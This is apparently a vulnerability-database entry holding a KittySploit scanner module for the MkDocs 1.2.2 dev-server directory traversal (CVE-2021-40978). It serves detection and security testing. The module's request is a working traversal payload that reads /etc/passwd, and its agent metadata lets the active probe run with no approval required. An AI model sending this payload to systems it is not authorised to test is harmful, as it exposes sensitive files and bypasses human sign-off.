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MKdocs 1.2.2 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Remote directory traversal in the MKdocs dev-server allows obtaining sensitive information.

Related
Refs
Code
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12 Oct 202118:48
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14 Oct 202602:05
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Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The MKdocs 1."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'MKdocs 1.2.2 - Directory Traversal Detection',
        'description': 'The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'mkdocs', 'lfi', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/mkdocs/mkdocs/pull/2604',
            'https://github.com/nisdn/CVE-2021-40978',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-40978',
            'https://github.com/mkdocs/mkdocs',
            'https://github.com/mkdocs/mkdocs/issues/2601',
        ],
        'cve': 'CVE-2021-40978',
    }

    def run(self):
        r = self.http_request(method="GET", path='/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:[x*]:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="MKdocs 1.2.2 - Directory Traversal detected",
                path='/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
CVSS 25
CVSS 3.17.5
EPSS0.15103
SSVC
2